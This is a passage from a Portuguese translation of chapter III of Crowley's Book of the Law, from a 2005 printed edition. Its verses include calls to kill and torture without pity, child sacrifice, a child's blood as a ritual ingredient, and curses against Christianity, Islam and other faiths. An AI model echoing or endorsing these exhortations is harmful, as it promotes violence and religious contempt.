12. Sacrifique gado, pequeno e grande: depois uma criança.

13. Mas não agora.

14. Vós vereis aquela hora, oh Besta abençoada, e tu a Concubina Escarlatedo desejo dele!

15. Vós vos entristecereis daí.

16. Não considereis avidamente demais em conquistar as promessas; nãotemais se submeter as maldições. Vós, mesmo vós, não conheceis estesignificado todo.

17. De todo não temais; não temais nem homens nem Destinos, nem deuses,nem nada. Dinheiro não temais, nem escárnio da tolice popular, nem qualqueroutro poder no céu ou sobre a terra. Nu é teu refúgio assim como Hadit tualuz; e Eu sou a potência, força, vigor, de seus braços.

18. Que a piedade esteja fora: malditos aqueles que se apiedam! Matai etorturai; não vos modereis; sede sobre eles!

19. Aquela estela eles chamarão de Abominação da Desolação; conte bem seunome, & será para ti como 718.

20. Por quê? Por causa da queda de Porque, que ele não está lá novamente.

21. Eriji minha imagem no Leste; tu comprarás para ti uma imagem que Eu temostrarei, especial, não semelhante a que tu conheces. E será subitamentefácil para ti fazê-lo.

22. As outras imagens amontoai em meu redor para me sustentar: deixaitodas serem adoradas, pois elas se agruparão para me exaltar. Eu sou o objetovisível de adoração; os outros são secretos; para a Besta & sua Noiva são eles;e para os vencedores do Ordálio x . O que é isto? Tu saberás.

23. Para perfume misture farinha & mel & grossas folhagens de vinhovermelho: então óleo de Abramelim e óleo de oliva, e depois amoleça e amaciecom rico sangue fresco.

24. O melhor sangue é o da lua, mensal: então o sangue fresco de umacriança, ou pingando da hóstia do céu: então de inimigos; então de umsacerdote ou dos adoradores: por fim de alguma besta, não importa qual.

25. Isto queimai: disto fazei bolos & comei para mim. Isto tem também umoutro uso: que seja colocado ante de mim, e engrossado com perfumes de teu

84

Page 85: Equinox Green 2

culto: ficará cheio de besouros, tal como ele estava, e coisas sagradasrastejantes a mim.

26. Estes assassine, nominando teus inimigos; & eles cairão a tua frente.

27. Também estes gerarão desejo e poder de desejo em ti no comer deles.

28. Também vós sereis fortes na guerra.

29. Além disso, sejam eles longamente mantidos, é melhor; por eles expandicom minha força. Tudo diante de mim.

30. Meu altar é de aberto trabalho metálico: queimai sobre ele em prata ououro!

31. Virá um rico homem do Oeste que despejará ouro sobre ti.

32. De ouro molde aço!

33. Esteja pronto para voar ou golpear.

34. Mas teu local sagrado será intocado através dos séculos: embora com fogoe espada seja incendiado & despedaçado, ainda assim uma casa invisível lápermanece, e permanecerá até a queda do Grande Equinócio; quandoHrumachis surgir e o de dupla-baqueta assumir meu trono e lugar. Um outroprofeta se levantará, e trará nova febre dos céus; uma outra mulherdespertará a luxúria e adoração da serpente; uma outra alma de Deus e bestase mesclarão no sacerdote globado; um outro sacrifício maculará o túmulo;um outro rei reinará; e benção não mais será derramada Ao Místico Senhor decabeça de Falcão!

35. A metade da palavra de Heru-ra-ha, chamado Hoor-pa-Kraat e Ra-Hoor-Khut.

36. Então disse o profeta a Deus:

37. Eu te adoro na canção -

Eu sou o Senhor de Tebas, e eu

O vate inspirado de Mentu.

Para mim desvela o véu do céu,

O sacrificado Ankh-af-na-khonsu

Cujo verbo é lei. Deixa que eu incite

Tua presença aqui, Ó Ra-Hoor-Khuit!

Ultimal Unidade demonstrada!

Adoro Teu poder, Teu sopro forte,

Deus terrível, suprema flor do nada,

Que fazes com que os deuses e que a morte

Tremam diante de Ti:

Eu, Eu adoro a ti!

Aparece no trono de Ra!

85

Page 86: Equinox Green 2

Abre os caminhos do Khu!

Ilumina os caminhos do Ka!

Nas rotas do Khabs sê tu,

Para mover-me ou parar-me!

Aum! enche meu carme!

38. De forma que tua luz está em mim; & sua flama rubra é como uma espadaem minha mão para empurrar tua ordem. Existe uma porta secreta que Eufarei para estabelecer tua rota em todos os quadrantes (estas são asadorações, como tu escreveste), como é dito:

É minha a luz; faz que eu me vá

Com os seus raios. Sou o autor

De oculta porta ao Lar de Ra

E Tum, de Khephra e de Ahathoor.

Eu sou teu Tebano, Ó Mentu,

O profeta Ankh-af-na-khonsu!

Por Bes-na-Maut bato no peito;

E por Ta-Nech lanço o feitiço.

Brilha, Nuit, ó céu perfeito!

Alada cobra, luz e viço,

Abre-me tua Casa, Hadit!

Mora comigo, Ra-Hoor-Kuit!

39. Tudo isto e um livro para dizer como tu chegaste aqui e uma reproduçãodesta tinta e papel para sempre - pois nisto está a palavra secreta & nãoapenas no Inglês - e teu comento sobre este o Livro da Lei será impressobelamente em tinta vermelha e negra sobre belo papel feito à mão; e a cadahomem e mulher que tu encontras, fosse apenas para jantar ou beber a eles,esta é a Lei a dar. Então talvez eles decidam permanecer nesta felicidade ounão; não tem importância. Faze isto rápido!

40. Mas o trabalho do comento? Aquilo é fácil; e Hadit ardendo em teucoração fará célere e segura tua pena.

41. Estabelece em tua Kaaba um escritório; tudo deve ser bem feito e comjeito de negócios.

42. Os ordálios tu fiscalizarás tu mesmo, salvo apenas as cegas. Não recusesninguém, mas tu conhecerás & destruirás os traidores. Eu sou Ra-Hoor-Khuit;e Eu sou poderoso para proteger meu servo. Sucesso é tua prova; nãodiscutas; não convertas; não fales demais! Aqueles que buscam armar-te umacilada, derrubar-te, esses ataca sem dó nem trégua; & destrói-os porcompleto. Célere como uma serpente pisada e vira-te e dá o bote! Sê tu maismortífero ainda que ele! Puxa para baixo suas almas a tormento horrível: ri domedo deles: cospe sobre eles!

86

Page 87: Equinox Green 2

43. Que a Mulher Escarlate se precate! Se piedade e compaixão e ternuravisitarem seu coração; se ela deixar meu trabalho para brincar com velhasdoçuras; então minha vingança ser conhecida. Eu me matarei sua criança: Eualienarei seu coração: Eu a expelirei dos homens: como uma encolhida edesprezada rameira ela rastejará por ruas molhadas e escuras, e morrerá friae faminta.

44. Mas que ela se erga em orgulho! Que ela me siga em meu caminho! Queela obre a obra de maldade! Que ela mate seu coração! Que ela seja gritona eadúltera! Que ela esteja coberta de jóias, e ricas roupas, e que ela seja semvergonha diante de todos os homens!

45. Então Eu a levantarei a pináculos de poder: então Eu engendrarei delauma criança mais pujante que todos os reis da terra. Eu a encherei de alegria:com minha força ela verá & dar o golpe à adoração de Nu: ela conseguiráHadit.

46. Eu sou o guerreiro Senhor dos Quarentas: os Oitentas se acovardamdiante de me, & são afundados. Eu vos trarei a vitória & alegria: Eu estareinas vossas armas em batalha & vós deleitareis em matar. Sucesso é vossaprova; coragem é vossa armadura; avante, avante em minha força; & vós nãoretrocedereis de qualquer!

47. Este livro será traduzido em todas as línguas: mas sempre com o originalpela mão da Besta; pois na forma ao acaso das letras e sua posição umas comas outras: nestas há mistérios que nenhuma Besta adivinhará. Que ele nãoprocure tentar: mas um vem após ele, de onde Eu não digo, que descobrirá aChave disso tudo. Então esta linha traçada é uma chave; então este círculoesquadrado em seu fracasso é uma chave também. E Abrahadabra. Será suacriança & isso estranhamente. Que ele não busque após isto pois dessa formaapenas pode ele cair.

48. Agora este mistério das letras está acabado, e Eu quero prosseguir para olugar mais santo.

49. Eu estou em uma secreta palavra quádrupla, a blasfêmia contra todos osdeuses dos homens.

50. Maldição sobre eles! Maldição sobre eles! Maldição sobre eles!

51. Com minha cabeça de Falcão Eu bico os olhos de Jesus enquanto ele sedependura da cruz.

52. Eu ruflo minhas asas na face de Mohammed & cego-o.

53. Com minhas garras Eu dilacero e puxo fora a carne do Hindu e do Budista,Mongol e Din.

54. Bahlasti! Ompehda! Eu cuspo nos vossos credos crapulosos.

55. Que Maria inviolada seja despedaçada sobre rodas: por causa dela quetodas as mulheres castas sejam completamente desprezadas entre vós!

56. Também por causa da beleza e do amor!

57. Desprezai também todos os covardes; soldados profissionais que nãoousam lutar, mas brincam; todos os tolos desprezai!

87

Page 88: Equinox Green 2

58. Mas os afiados e os altivos, os régios e os elevados; vós sois irmãos!

59. Lutai como irmãos!

60. Não existe lei além de Faze o que tu queres.

61. Há um fim da palavra do Deus entronado no assento de Ra, tornando levesas vigas da alma.

62. A Me reverenciai! a me vinde através de tribulação de ordália, que édeleite.

63. O tolo lê este Livro da Lei, e seu comento; & ele não o compreende.

64. Que ele passe pela primeira ordália, & será para ele como prata.

65. Pela segunda, ouro.

66. Pela terceira, pedras de água preciosa.

67. Pela quarta, ultimais fagulhas do fogo intimo.

68. No entanto a todos ele parecerá belo. Seus inimigos que não dizem assim,são meros mentirosos.

69. Existe sucesso.

70. Eu sou o Senhor de Cabeça de Falcão do Silêncio & da Força; minhanêmes cobre o céu azul-noturno.

71. Salve! vós gêmeos guerreiros em volta dos pilares do mundo! pois vossahora está próxima.

72. Eu sou o Senhor da Dupla Baqueta de Poder; a baqueta da Força de CophNia - mas minha mão esquerda está vazia, pois Eu esmaguei um Universo; &nada resta.

73. Empastai as folhas da direita para a esquerda e do topo ao pé: entãocontemplai!

74. Existe um esplendor em meu nome oculto e glorioso, como o sol da meia-noite é sempre o filho.

75. O fim das palavras é a Palavra Abrahadabra.

O Livro da Lei está Escrito e Oculto.

Aum. Ha.

88

Page 89: Equinox Green 2

Nosso trabalho de composição e impressão foi terminado comas bençãos do Mestre Therion no dia 07/04/2005.

Amor é a lei, amor sob vontade.

89